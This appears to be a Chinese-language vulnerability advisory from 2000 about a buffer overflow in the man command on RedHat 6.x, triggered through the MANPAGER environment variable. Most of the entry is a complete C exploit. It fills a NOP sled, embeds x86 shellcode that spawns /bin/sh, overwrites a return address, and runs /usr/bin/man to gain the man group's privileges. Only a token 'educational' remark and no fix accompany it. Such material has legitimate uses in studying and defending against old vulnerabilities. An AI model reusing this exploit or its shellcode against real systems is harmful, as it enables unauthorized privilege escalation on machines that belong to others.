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有关FOR MANPAGEER环境变量漏洞代码


发布时间:2000-04-21
更新时间:2000-04-21
严重程度:
威胁程度:权限提升
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Linux
RedHat 6.x
详细描述
下面是一个man的利用代码,是利用MANPAGER环境变量产生。

测试代码
/*
* MAN-Exploit for MANPAGER environmental variable.
* rh 6.x, tested on rh 6.1
* written by psychoid/tCl
* gives egid man.
*
* Originally discovered by lcamtuf.
* educational. yes.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   unsigned long offset;
   unsigned long addi=0xbfffacc4;

   u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"

"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"

"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                        "\xd7\xff\xff\xff/bin/sh";
/* extreme nice shellycode */
   int i;

   if(argc<2)
   {
       offset=150;
   } else {
       offset=strtoul(argv[1],NULL,16);
   }
   printf("Building buffer for adress %-8x\n",offset+addi);

   buff = malloc(4062);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   printf("Nopping..\n");
   /* filling with nops */
   memset(ptr, 0x0, 4062);
   memset(ptr, 0x90, 4061);
   printf("Setting adress.. %-8x\n",ptr);
   ptr+=0xf71;
   addr_ptr=(long *)ptr;
   *(addr_ptr++) = offset + addi;
   /* shelly */
   printf("Copying shell code..\n");
   ptr=buff+0xf6f-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   *ptr++='\n';
   printf("Done. Setting environmental variable.\n");
   setenv("MANPAGER",buff,1);
   printf("Calling man..\n");
   execl("/usr/bin/man", "psychoid", "man", NULL);
   exit(0x0);
}

-snap-

解决方案
暂无

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